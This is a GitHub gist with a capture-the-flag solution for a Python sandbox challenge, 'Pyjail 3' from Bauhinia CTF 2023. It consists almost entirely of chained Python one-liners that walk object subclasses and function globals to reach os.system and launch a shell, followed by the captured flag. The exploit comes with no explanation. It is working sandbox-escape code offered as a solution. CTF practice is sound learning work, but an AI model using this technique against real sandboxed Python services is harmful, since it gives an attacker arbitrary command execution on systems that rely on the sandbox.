Skip to content

Instantly share code, notes, and snippets.

@maple3142
Created August 21, 2023 14:19
Show Gist options
  • Select an option

  • Save maple3142/2eb72743884d3c00a4a1601ab6bfe673 to your computer and use it in GitHub Desktop.

Select an option

Save maple3142/2eb72743884d3c00a4a1601ab6bfe673 to your computer and use it in GitHub Desktop.
Bauhinia CTF 2023 - Pyjail 3
(s:=(c:=().__class__.__subclasses__().pop(-2)).__class__.__setattr__)(c,'s',s)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.__repr__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__globals__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__getitem__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x('sys'))
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.modules)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__getitem__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x('os'))
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.system)
(c:=().__class__.__subclasses__().pop(-2)).x('sh')
# b6actf{d3f1ni7e1y_n0t_c0py1n9_hkcertCTF2021_pyj4il_511f3ad4f3627b38d77cf4ab26c39ead}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment